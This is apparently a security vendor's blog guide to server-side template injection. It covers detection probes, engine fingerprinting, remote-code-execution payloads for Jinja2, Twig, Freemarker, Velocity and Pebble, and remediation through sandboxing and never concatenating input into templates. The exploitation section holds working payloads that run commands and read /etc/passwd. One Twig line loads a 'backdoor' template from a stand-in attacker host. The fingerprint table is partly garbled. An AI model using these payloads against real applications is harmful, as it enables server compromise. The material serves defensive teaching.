Server-Side Template Injection (SSTI): How to Detect, Exploit, and Prevent It

Server-Side Template Injection sits in an uncomfortable place for most automated scanners: it looks like a template expression, behaves differently in every engine, and requires understanding the syntax of the specific technology stack to identify and exploit. That difficulty is exactly why it's a high-value finding when it appears — and why it appears in production systems more often than it should.

SSTI occurs when user-controlled input is passed directly into a template engine and rendered, rather than being treated as static data. The result ranges from information disclosure to full remote code execution, depending on the engine and available sandbox escapes. This guide covers detection methodology, engine fingerprinting, exploitation payloads, and remediation for the five engines you're most likely to encounter.

How SSTI Differs from Injection Attacks

Template injection is conceptually similar to SQL injection — both occur when user input reaches an interpreter that evaluates it as code rather than data. The key difference is context: template engines have their own expression syntax, object models, and security sandboxes. A payload that achieves RCE in Jinja2 won't even produce an error in Twig, and vice versa.

The root cause is almost always the same pattern:

# Vulnerable: user input concatenated into template string
template_string = "Hello, " + request.args.get("name") + "!"
result = jinja2.Environment().from_string(template_string).render()

# Safe: user input passed as a variable to a fixed template
template = jinja2.Environment().get_template("greeting.html")
result = template.render(name=request.args.get("name"))

In the vulnerable version, if the user passes {{7*7}} as their name, the response contains Hello, 49! — the expression was evaluated. In the safe version, it's output verbatim as the string {{7*7}}. The difference is whether input reaches the template compiler or only the template context.

Detection: The Universal Probe Sequence

The standard approach is to inject mathematical expressions that produce a unique, unambiguous result if evaluated. Start with syntax-agnostic probes and narrow down the engine based on what evaluates.

Tier 1: Universal Detection Probes

# These expressions evaluate to numbers across multiple engines
{{7*7}}         # Jinja2, Twig, Pebble, Nunjucks — response should contain 49
${7*7}          # Freemarker, Velocity, Groovy — response should contain 49
#{7*7}          # Ruby ERB, Thymeleaf — response should contain 49
<%= 7*7 %>      # ERB (Ruby), EJS (JavaScript)
{{7*'7'}}       # Jinja2 returns 7777777 (string multiplication); Twig returns 49

If any of these return 49 (or 7777777 for Jinja2's string multiplication), you have confirmed template injection. The exact result helps fingerprint the engine before moving to exploitation payloads.

Tier 2: Engine Fingerprinting

ProbeExpected ResultEngine
{{7*'7'}}7777777Jinja2 (Python)
{{7*'7'}}49Twig (PHP)
${7*7}49Freemarker / Velocity (Java)
{{7*7}} (no output, error on ${7*7})No outputSmarty (PHP)
a{*comment*}babSmarty
{{range.constructor("return 1+1")()2Handlebars (Node)

Once you know the engine, use engine-specific payloads to escalate from math evaluation to code execution.

Exploitation by Engine

Jinja2 (Python)

Jinja2 runs in a sandboxed environment that restricts access to Python builtins by default. RCE requires walking the Python object hierarchy to escape the sandbox.

# Read /etc/passwd via object traversal
{{ ''.__class__.__mro__[1].__subclasses__() }}

# Find subprocess.Popen in the subclass list (index varies by Python version)
# Then execute a command
{{ ''.__class__.__mro__[1].__subclasses__()[396]('id', shell=True, stdout=-1).communicate() }}

# Alternative via request.application (Flask contexts)
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Cleaner via config (Flask)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

The subclass index for subprocess.Popen varies between Python versions. Use the __subclasses__() dump to find the correct index, or iterate with a loop payload to search for it.

Twig (PHP)

Twig's sandbox disables dangerous functions by default, but unprotected applications expose the full PHP environment:

# Basic RCE (no sandbox)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Via system()
{{["id"]|map("system")|join}}

# Read file
{{"/etc/passwd"|file_get_contents}}

# Sandbox escape via _self
{{_self.env.setCache("ftp://attacker.com/")}}{{_self.env.loadTemplate("backdoor")}}

Freemarker (Java)

Freemarker is common in Java enterprise applications, including Atlassian products historically. The exploitation path goes through the freemarker.template.utility classes:

# Execute system command
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

# Alternative via ObjectWrapper
${product.getClass().forName("java.lang.Runtime").getMethod("exec",product.getClass().forName("java.lang.String")).invoke(product.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Read file
<#assign fc=object?api.class.forName("java.io.FileInputStream")>
<#assign is=fc?api.getDeclaredConstructors()[0].newInstance("/etc/passwd")>
<#assign sc=object?api.class.forName("java.util.Scanner")>
<#assign s=sc?api.getDeclaredConstructors()[0].newInstance(is)>
${s.useDelimiter("\\A").next()}

Velocity (Java)

Apache Velocity is older and appears in legacy Java applications, CMS platforms, and workflow tools:

# RCE via Runtime
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

# Shorter with ClassTool
#set($rt = $class.forName('java.lang.Runtime'))
#set($exec = $rt.getMethod('exec', $str.class))
#set($p = $exec.invoke($rt.getRuntime(), 'id'))
$p.waitFor()
$p.inputStream

Pebble (Java)

Pebble is a Java template engine used in Spring-based applications:

{% set cmd = "id" %}
{% set bytes = (1).TYPE
  .forName('java.lang.Runtime')
  .methods[6]
  .invoke((1).TYPE.forName('java.lang.Runtime').methods[7].invoke(null),cmd)
  .inputStream
  .readAllBytes() %}
{{ bytes | base64encode }}

Common Attack Surfaces

SSTI most frequently appears in:

What Automated Scanners Miss

Most DAST scanners will catch basic SSTI when the injection point and output are both in the HTTP response. They tend to miss:

Prevention

Never Concatenate User Input Into Template Strings

This is the only rule that actually prevents SSTI. All other controls are defense-in-depth. If user input never reaches the template compiler, injection is impossible regardless of engine version or sandbox configuration.

# Vulnerable
template = env.from_string("Dear " + user_input + ",")

# Safe
template = env.get_template("email.html")
template.render(name=user_input)

Enable Engine Sandboxing

Most engines support a sandbox or restricted execution mode that limits what template expressions can access:

# Jinja2: use SandboxedEnvironment instead of Environment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()

# Freemarker: restrict API access
Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setAPIBuiltinEnabled(false);

# Twig: enable sandbox extension
$twig = new Environment($loader, ['sandbox' => true]);
$policy = new SecurityPolicy($allowedTags, $allowedFilters, $allowedMethods);
$twig->addExtension(new SandboxExtension($policy, true));

Whitelist Allowed Expressions

If your use case genuinely requires user-defined templates (email customization, report templates), define a strict whitelist of allowed operations and deny everything else. Never expose a general-purpose expression evaluator to untrusted input.

Output Encoding

Auto-escaping mitigates XSS but does not prevent SSTI — the injection happens at the template compilation step, before escaping is applied. Escaping is not a substitute for keeping user input out of template strings.

SSTI is notoriously hard to catch with generic scanners because exploitation syntax differs across engines and sandboxes. Ironimo uses Kali Linux tooling with engine-specific payloads to detect injection points your current tooling misses.

Start free scan
← Back to Blog